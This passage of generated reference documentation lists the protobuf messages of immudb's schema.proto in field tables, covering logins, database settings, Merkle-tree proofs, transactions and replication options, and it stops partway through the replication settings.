[LinearProof](#immudb.schema.LinearProof) - [LoadDatabaseRequest](#immudb.schema.LoadDatabaseRequest) - [LoadDatabaseResponse](#immudb.schema.LoadDatabaseResponse) - [LoginRequest](#immudb.schema.LoginRequest) - [LoginResponse](#immudb.schema.LoginResponse) - [MTLSConfig](#immudb.schema.MTLSConfig) - [NamedParam](#immudb.schema.NamedParam) - [NewTxRequest](#immudb.schema.NewTxRequest) - [NewTxResponse](#immudb.schema.NewTxResponse) - [NullableBool](#immudb.schema.NullableBool) - [NullableFloat](#immudb.schema.NullableFloat) - [NullableMilliseconds](#immudb.schema.NullableMilliseconds) - [NullableString](#immudb.schema.NullableString) - [NullableUint32](#immudb.schema.NullableUint32) - [NullableUint64](#immudb.schema.NullableUint64) - [Op](#immudb.schema.Op) - [OpenSessionRequest](#immudb.schema.OpenSessionRequest) - [OpenSessionResponse](#immudb.schema.OpenSessionResponse) - [Permission](#immudb.schema.Permission) - [Precondition](#immudb.schema.Precondition) - [Precondition.KeyMustExistPrecondition](#immudb.schema.Precondition.KeyMustExistPrecondition) - [Precondition.KeyMustNotExistPrecondition](#immudb.schema.Precondition.KeyMustNotExistPrecondition) - [Precondition.KeyNotModifiedAfterTXPrecondition](#immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition) - [Reference](#immudb.schema.Reference) - [ReferenceRequest](#immudb.schema.ReferenceRequest) - [ReplicaState](#immudb.schema.ReplicaState) - [ReplicationNullableSettings](#immudb.schema.ReplicationNullableSettings) - [RetryInfo](#immudb.schema.RetryInfo) - [Row](#immudb.schema.Row) - [SQLEntry](#immudb.schema.SQLEntry) - [SQLExecRequest](#immudb.schema.SQLExecRequest) - [SQLExecResult](#immudb.schema.SQLExecResult) - [SQLGetRequest](#immudb.schema.SQLGetRequest) - [SQLPrivilege](#immudb.schema.SQLPrivilege) - [SQLQueryRequest](#immudb.schema.SQLQueryRequest) - [SQLQueryResult](#immudb.schema.SQLQueryResult) - [SQLValue](#immudb.schema.SQLValue) - [ScanRequest](#immudb.schema.ScanRequest) - [Score](#immudb.schema.Score) - [ServerInfoRequest](#immudb.schema.ServerInfoRequest) - [ServerInfoResponse](#immudb.schema.ServerInfoResponse) - [SetActiveUserRequest](#immudb.schema.SetActiveUserRequest) - [SetRequest](#immudb.schema.SetRequest) - [Signature](#immudb.schema.Signature) - [Table](#immudb.schema.Table) - [TruncateDatabaseRequest](#immudb.schema.TruncateDatabaseRequest) - [TruncateDatabaseResponse](#immudb.schema.TruncateDatabaseResponse) - [TruncationNullableSettings](#immudb.schema.TruncationNullableSettings) - [Tx](#immudb.schema.Tx) - [TxEntry](#immudb.schema.TxEntry) - [TxHeader](#immudb.schema.TxHeader) - [TxList](#immudb.schema.TxList) - [TxMetadata](#immudb.schema.TxMetadata) - [TxRequest](#immudb.schema.TxRequest) - [TxScanRequest](#immudb.schema.TxScanRequest) - [UnloadDatabaseRequest](#immudb.schema.UnloadDatabaseRequest) - [UnloadDatabaseResponse](#immudb.schema.UnloadDatabaseResponse) - [UpdateDatabaseRequest](#immudb.schema.UpdateDatabaseRequest) - [UpdateDatabaseResponse](#immudb.schema.UpdateDatabaseResponse) - [UseDatabaseReply](#immudb.schema.UseDatabaseReply) - [UseSnapshotRequest](#immudb.schema.UseSnapshotRequest) - [User](#immudb.schema.User) - [UserList](#immudb.schema.UserList) - [UserRequest](#immudb.schema.UserRequest) - [VerifiableEntry](#immudb.schema.VerifiableEntry) - [VerifiableGetRequest](#immudb.schema.VerifiableGetRequest) - [VerifiableReferenceRequest](#immudb.schema.VerifiableReferenceRequest) - [VerifiableSQLEntry](#immudb.schema.VerifiableSQLEntry) - [VerifiableSQLEntry.ColIdsByNameEntry](#immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry) - [VerifiableSQLEntry.ColLenByIdEntry](#immudb.schema.VerifiableSQLEntry.ColLenByIdEntry) - [VerifiableSQLEntry.ColNamesByIdEntry](#immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry) - [VerifiableSQLEntry.ColTypesByIdEntry](#immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry) - [VerifiableSQLGetRequest](#immudb.schema.VerifiableSQLGetRequest) - [VerifiableSetRequest](#immudb.schema.VerifiableSetRequest) - [VerifiableTx](#immudb.schema.VerifiableTx) - [VerifiableTxRequest](#immudb.schema.VerifiableTxRequest) - [VerifiableTxV2](#immudb.schema.VerifiableTxV2) - [VerifiableZAddRequest](#immudb.schema.VerifiableZAddRequest) - [ZAddRequest](#immudb.schema.ZAddRequest) - [ZEntries](#immudb.schema.ZEntries) - [ZEntry](#immudb.schema.ZEntry) - [ZScanRequest](#immudb.schema.ZScanRequest) - [EntryTypeAction](#immudb.schema.EntryTypeAction) - [PermissionAction](#immudb.schema.PermissionAction) - [TxMode](#immudb.schema.TxMode) - [ImmuService](#immudb.schema.ImmuService) - [Scalar Value Types](#scalar-value-types)

Top

## schema.proto ### AHTNullableSettings | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | syncThreshold | [NullableUint32](#immudb.schema.NullableUint32) | | Number of new leaves in the tree between synchronous flush to disk | | writeBufferSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the in-memory write buffer | ### AuthConfig DEPRECATED | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | kind | [uint32](#uint32) | | | ### ChangePasswordRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | user | [bytes](#bytes) | | Username | | oldPassword | [bytes](#bytes) | | Old password | | newPassword | [bytes](#bytes) | | New password | ### ChangePermissionRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | action | [PermissionAction](#immudb.schema.PermissionAction) | | Action to perform | | username | [string](#string) | | Name of the user to update | | database | [string](#string) | | Name of the database | | permission | [uint32](#uint32) | | Permission to grant / revoke: 1 - read only, 2 - read/write, 254 - admin | ### ChangeSQLPrivilegesRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | action | [PermissionAction](#immudb.schema.PermissionAction) | | Action to perform | | username | [string](#string) | | Name of the user to update | | database | [string](#string) | | Name of the database | | privileges | [string](#string) | repeated | SQL privileges: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER | ### ChangeSQLPrivilegesResponse ### Chunk | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | content | [bytes](#bytes) | | | | metadata | [Chunk.MetadataEntry](#immudb.schema.Chunk.MetadataEntry) | repeated | | ### Chunk.MetadataEntry | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | | value | [bytes](#bytes) | | | ### Column | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | Column name | | type | [string](#string) | | Column type | ### CommittedSQLTx | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | header | [TxHeader](#immudb.schema.TxHeader) | | Transaction header | | updatedRows | [uint32](#uint32) | | Number of updated rows | | lastInsertedPKs | [CommittedSQLTx.LastInsertedPKsEntry](#immudb.schema.CommittedSQLTx.LastInsertedPKsEntry) | repeated | The value of last inserted auto_increment primary key (mapped by table name) | | firstInsertedPKs | [CommittedSQLTx.FirstInsertedPKsEntry](#immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry) | repeated | The value of first inserted auto_increment primary key (mapped by table name) | ### CommittedSQLTx.FirstInsertedPKsEntry | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | | value | [SQLValue](#immudb.schema.SQLValue) | | | ### CommittedSQLTx.LastInsertedPKsEntry | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | | value | [SQLValue](#immudb.schema.SQLValue) | | | ### CreateDatabaseRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | Database name | | settings | [DatabaseNullableSettings](#immudb.schema.DatabaseNullableSettings) | | Database settings | | ifNotExists | [bool](#bool) | | If set to true, do not fail if the database already exists | ### CreateDatabaseResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | Database name | | settings | [DatabaseNullableSettings](#immudb.schema.DatabaseNullableSettings) | | Current database settings | | alreadyExisted | [bool](#bool) | | Set to true if given database already existed | ### CreateUserRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | user | [bytes](#bytes) | | Username | | password | [bytes](#bytes) | | Login password | | permission | [uint32](#uint32) | | Permission, 1 - read permission, 2 - read+write permission, 254 - admin | | database | [string](#string) | | Database name | ### Database | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | databaseName | [string](#string) | | Name of the database | ### DatabaseHealthResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | pendingRequests | [uint32](#uint32) | | Number of requests currently being executed | | lastRequestCompletedAt | [int64](#int64) | | Timestamp at which the last request was completed | ### DatabaseInfo | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | Database name | | settings | [DatabaseNullableSettings](#immudb.schema.DatabaseNullableSettings) | | Current database settings | | loaded | [bool](#bool) | | If true, this database is currently loaded into memory | | diskSize | [uint64](#uint64) | | database disk size | | numTransactions | [uint64](#uint64) | | total number of transactions | | created_at | [uint64](#uint64) | | the time when the db was created | | created_by | [string](#string) | | the user who created the database | ### DatabaseListRequestV2 ### DatabaseListResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | databases | [Database](#immudb.schema.Database) | repeated | Database list | ### DatabaseListResponseV2 | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | databases | [DatabaseInfo](#immudb.schema.DatabaseInfo) | repeated | Database list with current database settings | ### DatabaseNullableSettings | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | replicationSettings | [ReplicationNullableSettings](#immudb.schema.ReplicationNullableSettings) | | Replication settings | | fileSize | [NullableUint32](#immudb.schema.NullableUint32) | | Max filesize on disk | | maxKeyLen | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum length of keys | | maxValueLen | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum length of values | | maxTxEntries | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of entries in a single transaction | | excludeCommitTime | [NullableBool](#immudb.schema.NullableBool) | | If set to true, do not include commit timestamp in transaction headers | | maxConcurrency | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of simultaneous commits prepared for write | | maxIOConcurrency | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of simultaneous IO writes | | txLogCacheSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the cache for transaction logs | | vLogMaxOpenedFiles | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of simultaneous value files opened | | txLogMaxOpenedFiles | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of simultaneous transaction log files opened | | commitLogMaxOpenedFiles | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of simultaneous commit log files opened | | indexSettings | [IndexNullableSettings](#immudb.schema.IndexNullableSettings) | | Index settings | | writeTxHeaderVersion | [NullableUint32](#immudb.schema.NullableUint32) | | Version of transaction header to use (limits available features) | | autoload | [NullableBool](#immudb.schema.NullableBool) | | If set to true, automatically load the database when starting immudb (true by default) | | readTxPoolSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the pool of read buffers | | syncFrequency | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | Fsync frequency during commit process | | writeBufferSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the in-memory buffer for write operations | | ahtSettings | [AHTNullableSettings](#immudb.schema.AHTNullableSettings) | | Settings of Appendable Hash Tree | | maxActiveTransactions | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of pre-committed transactions | | mvccReadSetLimit | [NullableUint32](#immudb.schema.NullableUint32) | | Limit the number of read entries per transaction | | vLogCacheSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the cache for value logs | | truncationSettings | [TruncationNullableSettings](#immudb.schema.TruncationNullableSettings) | | Truncation settings | | embeddedValues | [NullableBool](#immudb.schema.NullableBool) | | If set to true, values are stored together with the transaction header (true by default) | | preallocFiles | [NullableBool](#immudb.schema.NullableBool) | | Enable file preallocation | ### DatabaseSettings | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | databaseName | [string](#string) | | Name of the database | | replica | [bool](#bool) | | If set to true, this database is replicating another database | | primaryDatabase | [string](#string) | | Name of the database to replicate | | primaryHost | [string](#string) | | Hostname of the immudb instance with database to replicate | | primaryPort | [uint32](#uint32) | | Port of the immudb instance with database to replicate | | primaryUsername | [string](#string) | | Username of the user with read access of the database to replicate | | primaryPassword | [string](#string) | | Password of the user with read access of the database to replicate | | fileSize | [uint32](#uint32) | | Size of files stored on disk | | maxKeyLen | [uint32](#uint32) | | Maximum length of keys | | maxValueLen | [uint32](#uint32) | | Maximum length of values | | maxTxEntries | [uint32](#uint32) | | Maximum number of entries in a single transaction | | excludeCommitTime | [bool](#bool) | | If set to true, do not include commit timestamp in transaction headers | ### DatabaseSettingsRequest ### DatabaseSettingsResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | database | [string](#string) | | Database name | | settings | [DatabaseNullableSettings](#immudb.schema.DatabaseNullableSettings) | | Database settings | ### DebugInfo | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | stack | [string](#string) | | Stack trace when the error was noticed | ### DeleteDatabaseRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | database | [string](#string) | | Database name | ### DeleteDatabaseResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | database | [string](#string) | | Database name | ### DeleteKeysRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | keys | [bytes](#bytes) | repeated | List of keys to delete logically | | sinceTx | [uint64](#uint64) | | If 0, wait for index to be up-to-date, If > 0, wait for at least sinceTx transaction to be indexed | | noWait | [bool](#bool) | | If set to true, do not wait for the indexer to index this operation | ### DualProof DualProof contains inclusion and consistency proofs for dual Merkle-Tree + Linear proofs | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | sourceTxHeader | [TxHeader](#immudb.schema.TxHeader) | | Header of the source (earlier) transaction | | targetTxHeader | [TxHeader](#immudb.schema.TxHeader) | | Header of the target (latter) transaction | | inclusionProof | [bytes](#bytes) | repeated | Inclusion proof of the source transaction hash in the main Merkle Tree | | consistencyProof | [bytes](#bytes) | repeated | Consistency proof between Merkle Trees in the source and target transactions | | targetBlTxAlh | [bytes](#bytes) | | Accumulative hash (Alh) of the last transaction that's part of the target Merkle Tree | | lastInclusionProof | [bytes](#bytes) | repeated | Inclusion proof of the targetBlTxAlh in the target Merkle Tree | | linearProof | [LinearProof](#immudb.schema.LinearProof) | | Linear proof starting from targetBlTxAlh to the final state value | | LinearAdvanceProof | [LinearAdvanceProof](#immudb.schema.LinearAdvanceProof) | | Proof of consistency between some part of older linear chain and newer Merkle Tree | ### DualProofV2 DualProofV2 contains inclusion and consistency proofs | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | sourceTxHeader | [TxHeader](#immudb.schema.TxHeader) | | Header of the source (earlier) transaction | | targetTxHeader | [TxHeader](#immudb.schema.TxHeader) | | Header of the target (latter) transaction | | inclusionProof | [bytes](#bytes) | repeated | Inclusion proof of the source transaction hash in the main Merkle Tree | | consistencyProof | [bytes](#bytes) | repeated | Consistency proof between Merkle Trees in the source and target transactions | ### Entries | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | entries | [Entry](#immudb.schema.Entry) | repeated | List of entries | ### EntriesSpec | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | kvEntriesSpec | [EntryTypeSpec](#immudb.schema.EntryTypeSpec) | | Specification for parsing KV entries | | zEntriesSpec | [EntryTypeSpec](#immudb.schema.EntryTypeSpec) | | Specification for parsing sorted set entries | | sqlEntriesSpec | [EntryTypeSpec](#immudb.schema.EntryTypeSpec) | | Specification for parsing SQL entries | ### Entry | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | tx | [uint64](#uint64) | | Transaction id at which the target value was set (i.e. not the reference transaction id) | | key | [bytes](#bytes) | | Key of the target value (i.e. not the reference entry) | | value | [bytes](#bytes) | | Value | | referencedBy | [Reference](#immudb.schema.Reference) | | If the request was for a reference, this field will keep information about the reference entry | | metadata | [KVMetadata](#immudb.schema.KVMetadata) | | Metadata of the target entry (i.e. not the reference entry) | | expired | [bool](#bool) | | If set to true, this entry has expired and the value is not retrieved | | revision | [uint64](#uint64) | | Key's revision, in case of GetAt it will be 0 | ### EntryCount | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | count | [uint64](#uint64) | | | ### EntryTypeSpec | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | action | [EntryTypeAction](#immudb.schema.EntryTypeAction) | | Action to perform on entries | ### ErrorInfo | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | code | [string](#string) | | Error code | | cause | [string](#string) | | Error Description | ### ExecAllRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | Operations | [Op](#immudb.schema.Op) | repeated | List of operations to perform | | noWait | [bool](#bool) | | If set to true, do not wait for indexing to process this transaction | | preconditions | [Precondition](#immudb.schema.Precondition) | repeated | Preconditions to check | ### Expiration | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | expiresAt | [int64](#int64) | | Entry expiration time (unix timestamp in seconds) | ### ExportTxRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | tx | [uint64](#uint64) | | Id of transaction to export | | allowPreCommitted | [bool](#bool) | | If set to true, non-committed transactions can be exported | | replicaState | [ReplicaState](#immudb.schema.ReplicaState) | | Used on synchronous replication to notify the primary about replica state | | skipIntegrityCheck | [bool](#bool) | | If set to true, integrity checks are skipped when reading data | ### FlushIndexRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | cleanupPercentage | [float](#float) | | Percentage of nodes file to cleanup during flush | | synced | [bool](#bool) | | If true, do a full disk sync after the flush | ### FlushIndexResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | database | [string](#string) | | Database name | ### HealthResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | status | [bool](#bool) | | If true, server considers itself to be healthy | | version | [string](#string) | | The version of the server instance | ### HistoryRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [bytes](#bytes) | | Name of the key to query for the history | | offset | [uint64](#uint64) | | Specify the initial entry to be returned by excluding the initial set of entries | | limit | [int32](#int32) | | Maximum number of entries to return | | desc | [bool](#bool) | | If true, search in descending order | | sinceTx | [uint64](#uint64) | | If > 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed | ### ImmutableState | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | db | [string](#string) | | The db name | | txId | [uint64](#uint64) | | Id of the most recent transaction | | txHash | [bytes](#bytes) | | State of the most recent transaction | | signature | [Signature](#immudb.schema.Signature) | | Signature of the hash | | precommittedTxId | [uint64](#uint64) | | Id of the most recent precommitted transaction | | precommittedTxHash | [bytes](#bytes) | | State of the most recent precommitted transaction | ### InclusionProof | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | leaf | [int32](#int32) | | Index of the leaf for which the proof is generated | | width | [int32](#int32) | | Width of the tree at the leaf level | | terms | [bytes](#bytes) | repeated | Proof terms (selected hashes from the tree) | ### IndexNullableSettings | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | flushThreshold | [NullableUint32](#immudb.schema.NullableUint32) | | Number of new index entries between disk flushes | | syncThreshold | [NullableUint32](#immudb.schema.NullableUint32) | | Number of new index entries between disk flushes with file sync | | cacheSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the Btree node cache in bytes | | maxNodeSize | [NullableUint32](#immudb.schema.NullableUint32) | | Max size of a single Btree node in bytes | | maxActiveSnapshots | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of active btree snapshots | | renewSnapRootAfter | [NullableUint64](#immudb.schema.NullableUint64) | | Time in milliseconds between the most recent DB snapshot is automatically renewed | | compactionThld | [NullableUint32](#immudb.schema.NullableUint32) | | Minimum number of updates entries in the btree to allow for full compaction | | delayDuringCompaction | [NullableUint32](#immudb.schema.NullableUint32) | | Additional delay added during indexing when full compaction is in progress | | nodesLogMaxOpenedFiles | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of simultaneously opened nodes files | | historyLogMaxOpenedFiles | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of simultaneously opened node history files | | commitLogMaxOpenedFiles | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of simultaneously opened commit log files | | flushBufferSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the in-memory flush buffer (in bytes) | | cleanupPercentage | [NullableFloat](#immudb.schema.NullableFloat) | | Percentage of node files cleaned up during each flush | | maxBulkSize | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of transactions indexed together | | bulkPreparationTimeout | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | Maximum time waiting for more transactions to be committed and included into the same bulk | ### KVMetadata | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | deleted | [bool](#bool) | | True if this entry denotes a logical deletion | | expiration | [Expiration](#immudb.schema.Expiration) | | Entry expiration information | | nonIndexable | [bool](#bool) | | If set to true, this entry will not be indexed and will only be accessed through GetAt calls | ### Key | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [bytes](#bytes) | | | ### KeyListRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | keys | [bytes](#bytes) | repeated | List of keys to query for | | sinceTx | [uint64](#uint64) | | If 0, wait for index to be up-to-date, If > 0, wait for at least sinceTx transaction to be indexed | ### KeyPrefix | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | prefix | [bytes](#bytes) | | | ### KeyRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [bytes](#bytes) | | Key to query for | | atTx | [uint64](#uint64) | | If > 0, query for the value exactly at given transaction | | sinceTx | [uint64](#uint64) | | If 0 (and noWait=false), wait for the index to be up-to-date, If > 0 (and noWait=false), wait for at lest the sinceTx transaction to be indexed | | noWait | [bool](#bool) | | If set to true - do not wait for any indexing update considering only the currently indexed state | | atRevision | [int64](#int64) | | If > 0, get the nth version of the value, 1 being the first version, 2 being the second and so on If < 0, get the historical nth value of the key, -1 being the previous version, -2 being the one before and so on | ### KeyValue | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [bytes](#bytes) | | | | value | [bytes](#bytes) | | | | metadata | [KVMetadata](#immudb.schema.KVMetadata) | | | ### LinearAdvanceProof LinearAdvanceProof contains the proof of consistency between the consumed part of the older linear chain and the new Merkle Tree | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | linearProofTerms | [bytes](#bytes) | repeated | terms for the linear chain | | inclusionProofs | [InclusionProof](#immudb.schema.InclusionProof) | repeated | inclusion proofs for steps on the linear chain | ### LinearProof LinearProof contains the linear part of the proof (outside the main Merkle Tree) | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | sourceTxId | [uint64](#uint64) | | Starting transaction of the proof | | TargetTxId | [uint64](#uint64) | | End transaction of the proof | | terms | [bytes](#bytes) | repeated | List of terms (inner hashes of transaction entries) | ### LoadDatabaseRequest Database name | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | database | [string](#string) | | may add createIfNotExist | ### LoadDatabaseResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | database | [string](#string) | | Database name may add settings | ### LoginRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | user | [bytes](#bytes) | | Username | | password | [bytes](#bytes) | | User's password | ### LoginResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | token | [string](#string) | | Deprecated: use session-based authentication | | warning | [bytes](#bytes) | | Optional: additional warning message sent to the user (e.g. request to change the password) | ### MTLSConfig DEPRECATED | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | enabled | [bool](#bool) | | | ### NamedParam | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | name | [string](#string) | | Parameter name | | value | [SQLValue](#immudb.schema.SQLValue) | | Parameter value | ### NewTxRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | mode | [TxMode](#immudb.schema.TxMode) | | Transaction mode | | snapshotMustIncludeTxID | [NullableUint64](#immudb.schema.NullableUint64) | | An existing snapshot may be reused as long as it includes the specified transaction If not specified it will include up to the latest precommitted transaction | | snapshotRenewalPeriod | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | An existing snapshot may be reused as long as it is not older than the specified timeframe | | unsafeMVCC | [bool](#bool) | | Indexing may not be up to date when doing MVCC | ### NewTxResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | transactionID | [string](#string) | | Internal transaction ID | ### NullableBool | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | value | [bool](#bool) | | | ### NullableFloat | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | value | [float](#float) | | | ### NullableMilliseconds | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | value | [int64](#int64) | | | ### NullableString | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | value | [string](#string) | | | ### NullableUint32 | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | value | [uint32](#uint32) | | | ### NullableUint64 | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | value | [uint64](#uint64) | | | ### Op | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | kv | [KeyValue](#immudb.schema.KeyValue) | | Modify / add simple KV value | | zAdd | [ZAddRequest](#immudb.schema.ZAddRequest) | | Modify / add sorted set entry | | ref | [ReferenceRequest](#immudb.schema.ReferenceRequest) | | Modify / add reference | ### OpenSessionRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | username | [bytes](#bytes) | | Username | | password | [bytes](#bytes) | | Password | | databaseName | [string](#string) | | Database name | ### OpenSessionResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | sessionID | [string](#string) | | Id of the new session | | serverUUID | [string](#string) | | UUID of the server | ### Permission | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | database | [string](#string) | | Database name | | permission | [uint32](#uint32) | | Permission, 1 - read permission, 2 - read+write permission, 254 - admin, 255 - sysadmin | ### Precondition | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | keyMustExist | [Precondition.KeyMustExistPrecondition](#immudb.schema.Precondition.KeyMustExistPrecondition) | | | | keyMustNotExist | [Precondition.KeyMustNotExistPrecondition](#immudb.schema.Precondition.KeyMustNotExistPrecondition) | | | | keyNotModifiedAfterTX | [Precondition.KeyNotModifiedAfterTXPrecondition](#immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition) | | | ### Precondition.KeyMustExistPrecondition Only succeed if given key exists | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [bytes](#bytes) | | key to check | ### Precondition.KeyMustNotExistPrecondition Only succeed if given key does not exists | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [bytes](#bytes) | | key to check | ### Precondition.KeyNotModifiedAfterTXPrecondition Only succeed if given key was not modified after given transaction | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [bytes](#bytes) | | key to check | | txID | [uint64](#uint64) | | transaction id to check against | ### Reference | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | tx | [uint64](#uint64) | | Transaction if when the reference key was set | | key | [bytes](#bytes) | | Reference key | | atTx | [uint64](#uint64) | | At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference | | metadata | [KVMetadata](#immudb.schema.KVMetadata) | | Metadata of the reference entry | | revision | [uint64](#uint64) | | Revision of the reference entry | ### ReferenceRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [bytes](#bytes) | | Key for the reference | | referencedKey | [bytes](#bytes) | | Key to be referenced | | atTx | [uint64](#uint64) | | If boundRef == true, id of transaction to bind with the reference | | boundRef | [bool](#bool) | | If true, bind the reference to particular transaction, if false, use the most recent value of the key | | noWait | [bool](#bool) | | If true, do not wait for the indexer to index this write operation | | preconditions | [Precondition](#immudb.schema.Precondition) | repeated | Preconditions to be met to perform the write | ### ReplicaState | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | UUID | [string](#string) | | | | committedTxID | [uint64](#uint64) | | | | committedAlh | [bytes](#bytes) | | | | precommittedTxID | [uint64](#uint64) | | | | precommittedAlh | [bytes](#bytes) | | | ### ReplicationNullableSettings | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | replica | [NullableBool](#immudb.schema.NullableBool) | | If set to true, this database is replicating another database | | primaryDatabase | [NullableString](#immudb.schema.NullableString) | | Name of the database to replicate | | primaryHost | [NullableString](#immudb.schema.NullableString) | | Hostname of the immudb instance with database to replicate | | primaryPort | [NullableUint32](#immudb.schema.NullableUint32) | | Port of the immudb instance with database to replicate | | primaryUsername | [NullableString](#immudb.schema.NullableString) | | Username of the user with read access of the database to replicate | | primaryPassword | [NullableString](#immudb.schema.NullableString) | | Password of the user with read access of the database to replicate | | syncReplication | [NullableBool](#immudb.schema.NullableBool) | | Enable synchronous replication | | syncAcks | [NullableUint32](#immudb.schema.NullableUint32) | | Number of confirmations from synchronous replicas required to commit a transaction | | prefetchTxBufferSize | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of prefetched transactions | | replicationCommitConcurrency | [NullableUint32](#immudb.schema.NullableUint32) | | Number of concurrent replications | | allowTxDiscarding | [NullableBool](#immudb.schema.NullableBool) | | Allow precommitted transactions to be discarded if the replica diverges from the primary | | skipIntegrityCheck | [NullableBool](#immudb.schema.NullableBool) | | Disable integrity check when 